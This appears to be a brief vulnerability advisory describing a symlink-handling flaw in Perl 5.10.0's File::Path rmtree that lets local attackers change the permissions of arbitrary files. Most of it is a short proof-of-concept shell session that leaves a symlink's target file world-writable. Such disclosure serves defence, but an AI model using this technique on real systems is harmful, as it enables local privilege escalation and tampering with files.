Computers running Perl are prone to a local vulnerability that occurs when handling symbolic links.
|
|
|
|
Attackers can leverage this issue to change the permissions of arbitrary files.
|
|
|
|
Perl 5.10.0 is vulnerable; other versions may also be affected.

% touch foo
|
|
% ln -s foo bar
|
|
% ls -l foo bar
|
|
lrwxrwxrwx 1 example example 3 2008-06-21 09:06 bar -> foo
|
|
-rw-r--r-- 1 example example 0 2008-06-21 09:06 foo
|
|
% perl -e 'use File::Path rmtree; rmtree bar'
|
|
% ls -l foo bar
|
|
ls: cannot access bar: No such file or directory

-rwxrwxrwx 1 example example 0 2008-06-21 09:06 foo |
